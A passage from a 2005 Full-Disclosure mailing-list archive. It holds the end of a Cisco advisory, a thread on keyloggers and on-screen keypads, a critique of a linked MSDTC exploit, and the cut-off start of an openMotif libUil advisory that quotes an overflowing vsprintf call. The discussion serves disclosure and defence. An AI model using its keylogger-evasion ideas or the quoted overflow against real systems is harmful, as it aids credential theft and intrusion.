http://www.cisco.com/public/sw-license-agreement.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact either "psirt at cisco.com" or "security-alert at cisco.com" for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third-party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreement with third-party support organizations such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but who do not hold a Cisco service contract and customers who purchase through third-party vendors but are unsuccessful at obtaining fixed software through their point of sale should get their upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac at cisco.com Have your product serial number available and give the URL of this notice as evidence of your entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including special localized telephone numbers and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== This vulnerability was disclosed in a public posting to the Bugtraq mailing list, and at the following URL: http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/cisco/index.html. The Cisco PSIRT is not aware of any malicious use of the vulnerability described in this advisory. Status of This Notice: INTERIM ============================== THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. CISCO EXPECTS TO UPDATE THIS DOCUMENT WITHIN FROM THE ORIGINAL DATE OF THIS NOTICE. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at http://www.cisco.com/warp/public/707/cisco-sa-20051201-http.shtml. In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce at cisco.com * first-teams at first.org * bugtraq at securityfocus.com * vulnwatch at vulnwatch.org * cisco at spot.colorado.edu * cisco-nsp at puck.nether.net * full-disclosure at lists.grok.org.uk * comp.dcom.sys.cisco at newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +----------------------------------------+ | Revision | 1-December-2005. | Initial | | 1.0 | | draft. | +----------------------------------------+ Cisco Security Procedures Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt/. - ----------------------------------------------------------------------- All contents are Copyright 1992-2005 Cisco Systems, Inc. All rights reserved. - ----------------------------------------------------------------------- Updated: Dec 01, 2005 Document ID: 68322 - ----------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (GNU/Linux) iD8DBQFDj3udezGozzK2tZARAmkwAJ4xrlLCF75ryXyuX2/62peJ1YAUegCfYdUS jfZM0o9w1mRIAVF4C3uunRs= =A852 -----END PGP SIGNATURE----- From nick at virus-l.demon.co.uk Thu Dec 1 23:07:00 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Fri, 02 Dec 2005 12:07:00 +1300 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <009301c5f6c9$371f6170$0200a8c0@DORKA> Message-ID: <439038E4.9558.2C79C48C@gmail.com> php0t wrote: [top-posting-itis corrected] > > I agree but what about the second random password and challenge > > authentification? Both should be unique and usage once. > > How'bout adding direct printing on lpt of new one-time usage passwords? :) So you will limit access to your services to only those that happen to have a printer with them? Note to self -- buy larger laptop carry bag and "protable" printer so can keep using online banking... 8-) > In order to get the passwords, they'd have to hook the printing, too. Not > too common, yet. In fact, so uncommon I've not heard of it. Irrelevant though -- it is far too easily broken and if the OP is trying to protect anything sufficiently "valuable" you can bet it will be broken, as doing so is just too easy... (And I won't even get started on the need of such a web-based system to require ActiveX and/or system-access privileged Java applets to work at all "properly", but will note that, as a general rule, if you need your users to lower or weaken the security of their machines to improve the security of your system, then there is something fundamentally borked in _your_ design!) Regards, Nick FitzGerald From lyal.collins at key2it.com.au Thu Dec 1 23:09:36 2005 From: lyal.collins at key2it.com.au (Lyal Collins) Date: Fri, 2 Dec 2005 10:09:36 +1100 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: Message-ID: <006c01c5f6cc$4cd18d10$6600a8c0@kpllaptop> "Usage once" is not an effeective measure against mitm attacks, as has been discussed earlier in this thread. Give user error message, while executing txn of attacker's choice on the victim site with the legitimate user's authority. How do disputed transactions get resovled in this supposedly more secure framework since 'the authenticaiton is infallible' (marketing speak)? Lyal -----Original Message----- From: deepquest [mailto:adf at code511.com] Sent: Friday, 2 December 2005 9:44 AM To: Lyal Collins Cc: foofus at foofus.net; 'Full-Disclosure' Subject: Re: [Full-disclosure] Most common keystroke loggers? > In 1996, this virtual keypad concept was broken by taking 10x10 > pixel images > under the cursor click, showing the number/letters used in that > password. > > Virtual keypads are just a minor change of tactics, not a long term > resolution to this risk, imho. I agree but what about the second random password and challenge authentification? Both should be unique and usage once. -D From very at unprivate.com Thu Dec 1 23:15:37 2005 From: very at unprivate.com (php0t) Date: Fri, 2 Dec 2005 00:15:37 +0100 Subject: [Full-disclosure] Most common keystroke loggers? References: <439038E4.9558.2C79C48C@gmail.com> Message-ID: <00b901c5f6cd$236a1310$0200a8c0@DORKA> Yes, obviously not perfect or even near, i didn't even say that. Just a plus, an alternative to having to depend on keyboard / screen / files to help out with the authentication discussed. php0t ----- Original Message ----- From: "Nick FitzGerald" To: Sent: Friday, December 02, 2005 12:07 AM Subject: Re: [Full-disclosure] Most common keystroke loggers? > php0t wrote: > > [top-posting-itis corrected] >> > I agree but what about the second random password and challenge >> > authentification? Both should be unique and usage once. >> >> How'bout adding direct printing on lpt of new one-time usage passwords? >> :) > > So you will limit access to your services to only those that happen to > have a printer with them? Note to self -- buy larger laptop carry bag > and "protable" printer so can keep using online banking... 8-) > >> In order to get the passwords, they'd have to hook the printing, too. Not >> too common, yet. > > In fact, so uncommon I've not heard of it. > > Irrelevant though -- it is far too easily broken and if the OP is > trying to protect anything sufficiently "valuable" you can bet it will > be broken, as doing so is just too easy... > > (And I won't even get started on the need of such a web-based system to > require ActiveX and/or system-access privileged Java applets to work at > all "properly", but will note that, as a general rule, if you need your > users to lower or weaken the security of their machines to improve the > security of your system, then there is something fundamentally borked > in _your_ design!) > > > Regards, > > Nick FitzGerald > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ From ad at heapoverflow.com Thu Dec 1 23:16:06 2005 From: ad at heapoverflow.com (ad at heapoverflow.com) Date: Fri, 2 Dec 2005 00:16:06 +0100 Subject: [Full-disclosure] msdtc exp In-Reply-To: <438E6921.3010705@0x557.org> Message-ID: <000001c5f6cd$35317750$0400a8c0@winxp64> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Several errors in your poc, if(argc == 7) (your usage says 5 or 6...) And if(argc < 6 || argv[argc-1][0] != 'S') What a leet script kiddie protection .... lol , keep it up :> - -----Message d'origine----- De : full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] De la part de no-reply Envoy? : jeudi 1 d?cembre 2005 04:08 ? : full-disclosure at lists.grok.org.uk Objet : [Full-disclosure] msdtc exp - -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://blog.0x557.org/swan/archives/msdtc.cpp - -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDjmkhPlYIPITSGxURAtCkAJ910OOS8Pjjj1yHf32L/pHo3NHa0QCfUUt+ AzVozrv5Ileh03TfEa/frnU= =HJxh - -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) iQIVAwUBQ4+ENq+LRXunxpxfAQJluw//RtMzswPRhPnnwoVrfkbtyMbY52F7ZvDn QHj+1DVCJtMovViS9eUO7lLHX78FjFPaosBGhBdlRE/44Xui+xxsuILPjDKdaMXh s/o3o51ctL6kTyIrjFO8qUJPlFm+YuoADjmcLF6w9ZHGiijjR95gf1jv/twg0GRy elpBgX9RRpF65V2XorfqOCckuXNN+YTZ9KEIQWbE+f93iR3oUDqv09tF8XUqkod/ kF0+l2dizgL7yjZH/4azpSFf25XEG6RflER/gVTRtYXP9mOIaNTiPQyNy1Typ6b9 r3CWN/f/aOH6BZ6MC76RNqDeswuqnfjVADSl633RREPKUGTtAh2sE4kaXm0aY5Lr 2LaFb5bSjubFbhHO2EeoQACN9yLPRD5kglkAC0FhGFPo67ZqxNABI1d/QYMG5dV2 4yGlLevqSfB1KSqoYP7JspFQYWd6/npgScPGoCbjxlxNJR71l2Wi0OXfMrGH2c9I E3XbLwKHNob+fIhfFRRoAJWU1cJvIwBbU5G/ifwetE0e9Qbk0zIR7lt6pnYru5kS p4ylW1hdYT2bQjQxm3opcwrwc+5UXnSrRGnts7a7XWKv04tZ0qi3AIRtQJX61klT mMpoXUAlBYpUsGLsHtTrRToZHzXFeEUcDVb0nOFSimLGQzNt6IK2O8ip30pMBJ1t ozzWlX40sF8= =Xbzo -----END PGP SIGNATURE----- From mz4ph0d at gmail.com Thu Dec 1 23:18:26 2005 From: mz4ph0d at gmail.com (mz4ph0d at gmail.com) Date: Fri, 2 Dec 2005 10:18:26 +1100 Subject: [Full-disclosure] Most common keystroke loggers? Message-ID: <228735040512011518o7b5fa823h77c5c14135927a9f@mail.gmail.com> At 9:41 AM +1100 2/12/05, Lyal Collins wrote: >In 1996, this virtual keypad concept was broken by taking 10x10 pixel images >under the cursor click, showing the number/letters used in that password. > >Virtual keypads are just a minor change of tactics, not a long term >resolution to this risk, imho. While it's obviously NOT the most secure way, that absolutely nothing can be considered secure if the system is compromised, that it would depend on either depending on either Javascript being enabled on the client-side or using Java (or perhaps Flash) for the interface elements, and using a random system to interpret the results (because the interaction with the server over the network can also likely be parsed), etc, etc ... What about a system that used a randomly built and placed keyboard where the button (or more effectively the entire keyboard, though less usable obviously) went blank on mouseover and click? That would at least stop two of those problems, those being basic keylogging, and screenshots of the hotspot on click. At least then if a system like this is the only one that is deemed doable it would be more secure than one that didn't have those features. Yes? It may as well be on the higher end of insecure than the lower end, (if "insecure" can be seen as a scale, as unfortunately it often has to be in the real world with budgets and stupid management). Z. From daniels at Ponderosatel.com Thu Dec 1 23:40:09 2005 From: daniels at Ponderosatel.com (Daniel Sichel) Date: Thu, 1 Dec 2005 15:40:09 -0800 Subject: [Full-disclosure] RE: Good old days and flames Message-ID: <190DFDD2F99A65469B4B15D3658C0D2B016929C5@ptc6.ponderosatel.com> two irrelevancies for you folks >WildCAT BBS Anyone???? :) > >I remember playing tradewars and calling who knows where to get new text >files :) > >Used Tone-loC a lot more back then :) > I rember my first zmodem download. I dropped it in the middle to test the resume feature. When I saw it work, I was so happy I did it again with a different file just for the fun of it. How lame is that? Also IMHO the quality of flames on this list is well above average. I am still chuckling over "show me on the doll..." and "hello pot???" Dan S. From lyal.collins at key2it.com.au Fri Dec 2 00:11:54 2005 From: lyal.collins at key2it.com.au (Lyal Collins) Date: Fri, 2 Dec 2005 11:11:54 +1100 Subject: [Full-disclosure] Most common keystroke loggers? Message-ID: <001001c5f6d5$00c0f600$6600a8c0@kpllaptop> Typo - I meant 1997 NOT 1996. -----Original Message----- From: Lyal Collins [mailto:lyal.collins at key2it.com.au] Sent: Friday, 2 December 2005 9:42 AM To: 'deepquest'; 'foofus at foofus.net' Cc: 'Full-Disclosure' Subject: RE: [Full-disclosure] Most common keystroke loggers? In 1996, this virtual keypad concept was broken by taking 10x10 pixel images under the cursor click, showing the number/letters used in that password. Virtual keypads are just a minor change of tactics, not a long term resolution to this risk, imho. Lyal -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of deepquest Sent: Friday, 2 December 2005 9:26 AM To: foofus at foofus.net Cc: Full-Disclosure Subject: Re: [Full-disclosure] Most common keystroke loggers? To me the only thing that can defeat keystroke is what a software or trojan can not do: See (OCR is just a partial application of guess but not applicable in that case) Imagine a web page with a virtual keyboard page (clickable). In order to prevent the localisation on the keys mapping based on position of the mouse, display the keyboard on random location of the screen. Add a random password and challenge authentication process. my 2 cents, Deepquest "Justification of windows usage is a combinaison of Stockholm Syndrome and cognitive dissonance." -------------------------------------------------------------- Propaganda http://deepquest.code511.com/blog FIB http://www.futureisbeta.com PGP DH/DSS http://www.futureisbeta.com/pgp -------------------------------------------------------------- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From lyal.collins at key2it.com.au Fri Dec 2 00:16:21 2005 From: lyal.collins at key2it.com.au (Lyal Collins) Date: Fri, 2 Dec 2005 11:16:21 +1100 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <228735040512011518o7b5fa823h77c5c14135927a9f@mail.gmail.com> Message-ID: <001101c5f6d5$9fda54c0$6600a8c0@kpllaptop> Just expand the size of the image captured under the hotspot to include surrounding buttons. If the image shows the values "around" the button clicked, it makes it possible (but less trivial) to infer the value clicked. Having a totally blank on-screen keypad might work - let the users guess their own passwords!!! Lyal -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of mz4ph0d at gmail.com Sent: Friday, 2 December 2005 10:18 AM To: full-disclosure at lists.grok.org.uk Subject: re: [Full-disclosure] Most common keystroke loggers? At 9:41 AM +1100 2/12/05, Lyal Collins wrote: >In 1996, this virtual keypad concept was broken by taking 10x10 pixel >images under the cursor click, showing the number/letters used in that >password. > >Virtual keypads are just a minor change of tactics, not a long term >resolution to this risk, imho. [snip] What about a system that used a randomly built and placed keyboard where the button (or more effectively the entire keyboard, though less usable obviously) went blank on mouseover and click? That would at least stop two of those problems, those being basic keylogging, and screenshots of the hotspot on click. At least then if a system like this is the only one that is deemed doable it would be more secure than one that didn't have those features. Yes? It may as well be on the higher end of insecure than the lower end, (if "insecure" can be seen as a scale, as unfortunately it often has to be in the real world with budgets and stupid management). Z. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From nick at virus-l.demon.co.uk Fri Dec 2 00:31:56 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Fri, 02 Dec 2005 13:31:56 +1300 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <228735040512011518o7b5fa823h77c5c14135927a9f@mail.gmail.com> Message-ID: <43904CCC.13101.2CC78620@gmail.com> mz4ph0d at gmail.com to Lyal Collins: > >In 1996, this virtual keypad concept was broken by taking 10x10 pixel images > >under the cursor click, showing the number/letters used in that password. > > > >Virtual keypads are just a minor change of tactics, not a long term > >resolution to this risk, imho. > > While it's obviously NOT the most secure way, that absolutely > nothing can be considered secure if the system is compromised, > that it would depend on either depending on either Javascript > being enabled on the client-side or using Java (or perhaps > Flash) for the interface elements, and using a random system > to interpret the results (because the interaction with the server > over the network can also likely be parsed), etc, etc ... > > What about a system that used a randomly built and placed > keyboard ... What's with this obsession with annoying the user with random placement? And _much_ worse, random key layout? Neither buy you anything, nor does the combination, so stop suggesting them already. > ... where the button (or more effectively the entire > keyboard, though less usable obviously) went blank on > mouseover and click? Absolutely trivially broken. As most key loggers already monitor the web page (or the domain of the web page) all they need do is add a "grab a screen shot when the randomized keypad window pops open from " and maybe a "grab the top-left window location of that window" then all the "keylogger" needes to do is record the positions of mouse clicks. Broken. Perhaps twenty minutes coding... And don't get me started on the usability issues -- it would be entirely useless for most fine-motor or visually impaired users who would be able to use a normal (onscreen) keyboard... > That would at least stop two of those problems, those being > basic keylogging, and screenshots of the hotspot on click. Yet it entirely fails to solve the problem of recording the keys that the user "presses", "types" or however you prefer to express it. The _point_ is not to prevent keylogging _pre se_ but to prevent stealing the _information_ conveyed in the "keying". Your suggested scheme is precisely useless for solving that problem. > At least then if a system like this is the only one that is > deemed doable it would be more secure than one that > didn't have those features. Yes? It may as well be on the > higher end of insecure than the lower end, (if "insecure" can > be seen as a scale, as unfortunately it often has to be in the > real world with budgets and stupid management). This is just as insecure as a plain onscreen keyboard, and with less usability. Sounds like a bargain at any price -- NOT! You are deeply confused if you think "is totally trivial and hasn't been attacked _yet_" is in any meaningful way "more secure" than "is equally trivial and has already been broken". > Z. Yes, go back to sleep... Regards, Nick FitzGerald From kyle at randomvoids.com Fri Dec 2 00:34:49 2005 From: kyle at randomvoids.com (Kyle Lutze) Date: Thu, 01 Dec 2005 16:34:49 -0800 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <438F448F.402@thievco.com> References: <1133457890.12950.80.camel@localhost> <438F448F.402@thievco.com> Message-ID: <438F96A9.70705@randomvoids.com> Blue Boar wrote: > Shannon Johnston wrote: > >> Hi All, >> I'm looking for input on what you all believe the most common keystroke >> loggers are. I've been challenged to write an authentication method (for >> a web site) that can be secure while using a compromised system. > > > I don't think that's possible for all compromise situations, given > today's desktop OS software. It might be possible with a Palladium-like > system (and you trust that the secure side isn't compromised) and/or a > hardware assist that doesn't trust the host OS (think small USB-attached > computer on a stick.) > > However, given your query, if you simply want to play the known-threats > game, you can just require that the Client have up-to-date AV and > antispyware software, and scans clean. That's a little orthogonal to > the issue of trying to be secure in the face of a keylogger installed, > but probably a better thing to shoot for. > > If, for some reason, you only care about the case where a "keylogger" is > installed, then you can go with some scheme like making the user pick > numbers of a randomly-scrambled keypad on the screen, with the mouse. > > Note, however, that "keyloggers" that grab some portion of the screen > surrounding the mouse pointer every time you click have already been > observed in the wild. They are designed to specifically defeat this > kind of mechanism. > Actually, I think there's a relatively easy solution, make it so every single time they want to login, have a different set of characters line up to their password. That didn't make much sense, here's a good example say somebody's password is foobar, on screen there would be a page that shows the new alignment of characters,such as saying a=c, d=3, b=z, etc. so instead of typing foobar the password they would type in for that session would be hnnzck. The next time the screen came up, it would be a=n, b=l, etc. and the password they would enter would be something else. Then, if the computer had a keylogger, not too much anybody could do with that info. Kyle From BlueBoar at thievco.com Fri Dec 2 00:48:30 2005 From: BlueBoar at thievco.com (Blue Boar) Date: Thu, 01 Dec 2005 16:48:30 -0800 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <438F96A9.70705@randomvoids.com> References: <1133457890.12950.80.camel@localhost> <438F448F.402@thievco.com> <438F96A9.70705@randomvoids.com> Message-ID: <438F99DE.9050104@thievco.com> Kyle Lutze wrote: > say somebody's password is foobar, on screen there would be a page that > shows the new alignment of characters,such as saying a=c, d=3, b=z, etc. > so instead of typing foobar the password they would type in for that > session would be hnnzck. > > The next time the screen came up, it would be a=n, b=l, etc. and the > password they would enter would be something else. Then, if the computer > had a keylogger, not too much anybody could do with that info. If the only threat in the world were keyloggers, there are many schemes you could use. My main point is that if your computer is fully compromised and the attacker can adapt, there's no scheme you can up by adding just software to the existing client computers that will help. Second, the scheme you just proposed is a monoalphabetic substitution cipher. The are considered somewhat weak, i.e. they print them in the newspaper to be solved with a pencil during your communte. BB From gugdias at gmail.com Fri Dec 2 01:16:55 2005 From: gugdias at gmail.com (Gustavo) Date: Thu, 1 Dec 2005 23:16:55 -0200 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <439030F5.16919.2C5AC7D0@gmail.com> References: <1133457890.12950.80.camel@localhost> <47ed8a210512011208i17bcbde7l@mail.gmail.com> <439030F5.16919.2C5AC7D0@gmail.com> Message-ID: <47ed8a210512011716g51f2913bu@mail.gmail.com> 2005/12/1, Nick FitzGerald : > Some South American banks currently under massive identity > theft/keylogging "attack" (like Banco Brasil) apparently don't talk to > others in the banking industry, as some have recently started using > such "on-screen keyboards" to "defeat" the keylogging attackers that > hound their customers. Within a very short time period we saw some of > those keyloggers adapt by adding screenshot-grabbing of a small area > around the mouse point hot-spot. Seems they talked with uninformed > "security consultants" rather than folk who know how systems work, what > malware is, what it can do that it may not be doing today and, in this > case, what has already been tried and trivially beaten... They (Banco do Brasil) are currently using a software, automatically installed into the user's system without his explicit knowledge (coming together with the java visual keyboard) that is meant to prevent malwares. The software, named Gbuster and installed as gbieh.dll, works silently and uses malware techniques to avoid being deleted or uninstalled, giving no such option. > If you don't understand that all the I/O on the "compromised" machine > (for the types of machine we are talking about) can be intercepted, you > shouldn't be trying to answer the OP's question (and if the OP > understood that, he would not have asked as he would have realized he > was aiming at doing the impossible). Agree. I answered based on the premise he wanted to get rid of the keylogging, only. Regards, Gustavo From nick at virus-l.demon.co.uk Fri Dec 2 01:19:35 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Fri, 02 Dec 2005 14:19:35 +1300 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <438F96A9.70705@randomvoids.com> References: <438F448F.402@thievco.com> Message-ID: <439057F7.880.2CF3274F@gmail.com> Kyle Lutze to Blue Boar: <> > > Note, however, that "keyloggers" that grab some portion of the screen > > surrounding the mouse pointer every time you click have already been > > observed in the wild. They are designed to specifically defeat this > > kind of mechanism. > > > Actually, I think there's a relatively easy solution, make it so every > single time they want to login, have a different set of characters line > up to their password. > That didn't make much sense, here's a good example > > say somebody's password is foobar, on screen ... ^^^^^^^^^ ||||||||| You _really_ don't get the issue here, do you?? "on screen" means that it can be captured. Thus, _it CANNOT work to avoid capture on a compromised machine_. If you can display it, a (sufficiently determined) attacker can capture it. > ... there would be a page that > shows the new alignment of characters,such as saying a=c, d=3, b=z, etc. > so instead of typing foobar the password they would type in for that > session would be hnnzck. And, as already pointed out in response to exactly the same suggestion from someone else, depending on the _user_ to do the encoding for you in a reliable and error-free way is not exactly a recipe for success... > The next time the screen came up, it would be a=n, b=l, etc. and the > password they would enter would be something else. Then, if the computer > had a keylogger, not too much anybody could do with that info. But the keylogger author would rewrite the code to _also_ grab a screenshot of the encoding table, or simply to just grab the HTML that describes the page if the encoding table is not purely graphical. If you want to solve this kind of "problem" don't think "what's a clever thing I can do to complicate the process?", but think "if I were an attacker, what could I do?". When you understand the _scope_ of the options available to the attacker (rather than the _actual instances_ of "attack" that are known to already have been implemented) you are well-placed to propose "solutions"... So far, no-one suggesting solutions has fallen into that category (and there's a good reason for that). Regards, Nick FitzGerald From mz4ph0d at gmail.com Fri Dec 2 01:39:56 2005 From: mz4ph0d at gmail.com (mz4ph0d at gmail.com) Date: Fri, 2 Dec 2005 12:39:56 +1100 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <439057F7.880.2CF3274F@gmail.com> References: <438F448F.402@thievco.com> <438F96A9.70705@randomvoids.com> <439057F7.880.2CF3274F@gmail.com> Message-ID: <228735040512011739n42db6d06l82f2f20933b0c6a8@mail.gmail.com> Nick Fitzgerald wrote: You are deeply confused if you think "is totally trivial and hasn't been attacked _yet_" is in any meaningful way "more secure" than "is equally trivial and has already been broken". And if that was what I was talking about, fair enough, but seeing as I'm not ... all I was suggesting was something to help with the situation where what was being employed was a compromise that had a) a keystroke logger, and b) click hotspot screenshot mechanism. It obviously (and though you did seem to have read the entire post, thanks for that, you missed that I was at least implying exactly this) doesn't help at all if you are dealing with a more complex problem than that. I probably didn't make that clear as I pretty much thought that was a given. Some said "an onscreen random keypad" and others replied "10 x 10px hotspot screenshots", so that's the exact problem I looked at one possible way of addressing that particular and limited problem. At no time did I suggest that it helped with other problems that may be present, or made the solution somehow now magically secure. I also don't see how having a button change to be blank after mousing over it effects people with fine motor skills. The whole keyboard yes, a single button, no. Seriously visually impaired people will have problems with *any* kind of online keypad that is trying to obfuscate what the buttons do apart from what they look like (because you would be removing the tags used by the browser for accessibility purposes anyway). There is NO solution that will fully protect any login system against a compromised machine if that machine is being monitored and the compromise in place is being dynamically updated to suit the needs of the attacker. That is also a given. It may on the other hand help if you are dealing with a machine that has a piece of malware on it that installed a keystroke logger that is capable of hotspot screenshots and is not dynamically updating. It also may make the output from the machine uninteresting enough to the attacker to not bother trying to further compromise the machine in question to install things to do the more complex forms of attack that you are talking about. (Note, I didn't feel the need to once insult you or "strong arm" you into being quiet. You are obviously an extremely intelligent and knowledgeable guy, with a lot of experience in this area, why the need for the attitude?) Z. From malum at freeshell.org Fri Dec 2 02:08:12 2005 From: malum at freeshell.org (mary) Date: Fri, 2 Dec 2005 02:08:12 +0000 (UTC) Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <1133457890.12950.80.camel@localhost> References: <1133457890.12950.80.camel@localhost> Message-ID: eng.nprotect.co.kr comes to mind. -m > Hi All, > I'm looking for input on what you all believe the most common keystroke > loggers are. I've been challenged to write an authentication method (for > a web site) that can be secure while using a compromised system. > > Thanks, > Shannon From mz4ph0d at gmail.com Fri Dec 2 02:24:03 2005 From: mz4ph0d at gmail.com (mz4ph0d at gmail.com) Date: Fri, 2 Dec 2005 13:24:03 +1100 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <228735040512011739n42db6d06l82f2f20933b0c6a8@mail.gmail.com> References: <438F448F.402@thievco.com> <438F96A9.70705@randomvoids.com> <439057F7.880.2CF3274F@gmail.com> <228735040512011739n42db6d06l82f2f20933b0c6a8@mail.gmail.com> Message-ID: <228735040512011824n68a7d7fdp9a8eeb538ef6b0dd@mail.gmail.com> I wrote: > I also don't see how having a button change to be blank after > mousing over it effects people with fine motor skills. Apologies, "fine motor skills" should have been "accessibility problems relating to fine motor skill deficiencies or problems". Z. From malum at freeshell.org Fri Dec 2 02:25:20 2005 From: malum at freeshell.org (mary) Date: Fri, 2 Dec 2005 02:25:20 +0000 (UTC) Subject: [Full-disclosure] Hacking Boot camps! In-Reply-To: <2be58a30511302259k5d81c595ia615671c97d87de1@mail.gmail.com> References: <78744869705CEF41A32C103C5C04F2200163A81F@phxexc1.dswa.net> <2be58a30511302259k5d81c595ia615671c97d87de1@mail.gmail.com> Message-ID: > Come on... lets go right old school. I loved and ran RA right old school? Hm, okies! ..didn't care for RA, personally - I ran Synchronet and RENEGADE. Thinking back.. Synchronet's scriptable co-sysop was a lot of fun.. -m >> Pfft.. >> >> RENEGADE all the way :> >> >> WWIV was great for modding too. Vision-X, yep.. I remember a lot of the >> 'ansi cool-kids' (or whatever...) running that. >> >> -MH >> >> On Wed, 30 Nov 2005, Christopher Carpenter wrote: >> >>> >>> Don't forget WWIV and Vision-X. :) >>> >>> >>> WildCAT BBS Anyone???? :) >>> >>> I remember playing tradewars and calling who knows where to get new text >>> files :) >>> >>> Used Tone-loC a lot more back then :) >>> >>> JP From paul at onestepsolutions.net Fri Dec 2 01:38:32 2005 From: paul at onestepsolutions.net (Paul Stephens) Date: Fri, 02 Dec 2005 12:38:32 +1100 Subject: [Full-disclosure] Software Firewalls for Windows Message-ID: <20051202123832.ad0i28vgn1cg4wko@www.onestepsolutions.net> Hi list, I've been a firm advocate of Sygate Pro for some time but as Symantec has bought and canned it I'm wondering what you guys would recommend as a replacement. >From the limited testing I've done I'm leaning toward Ghostwall for XP64 & Outpost for 32bit machines. Any suggestions welcomed. Regards Paul Stephens (Proprietor - OneStep Solutions) http://www.onestepsolutions.net/ From alert7 at xfocus.org Fri Dec 2 02:59:05 2005 From: alert7 at xfocus.org (alert7 at xfocus.org) Date: Fri, 02 Dec 2005 10:59:05 +0800 Subject: [Full-disclosure] [xfocus-SD-051202]openMotif libUil Multiple vulnerability Message-ID: <438FB879.7000702@xfocus.org> Title: [xfocus-SD-051202]openMotif-libUil-Multiple_vulnerability Affected version : openmotif 2.2.3(not got 2.2.4,so not test in openmotif 2.2.4) Product: http://www.motifzone.net/ xfocus (http://www.xfocus.org) have discovered multiple vulnerability in openmotif libUil library. details following: 1: libUil.so diag_issue_diagnostic buffer overflow Clients/uil/UilDiags.c diag_issue_diagnostic() 202 void diag_issue_diagnostic 203 ( int d_message_number, src_source_record_type *az_src_rec, 204 int l_start_column, ...) 205 206 { 207 va_list ap; /* ptr to variable length parameter */ 208 int severity; /* severity of message */ 209 int message_number; /* message number */ 210 char msg_buffer[132]; /* buffer to construct message */ 211 char ptr_buffer[buf_size]; /* buffer to construct pointer */ 212 char loc_buffer[132]; /* buffer to construct location */ 213 char src_buffer[buf_size]; /* buffer to hold source line */ ...... 293 va_start(ap, l_start_column); 294 295 #ifndef NO_MESSAGE_CATALOG 296[1.1] vsprintf( msg_buffer, 297 catgets(uil_catd, UIL_SET1, msg_cat_table[ message_number ], 298 diag_rz_msg_table[ message_number ].ac_text), 299 ap ); 300 #else 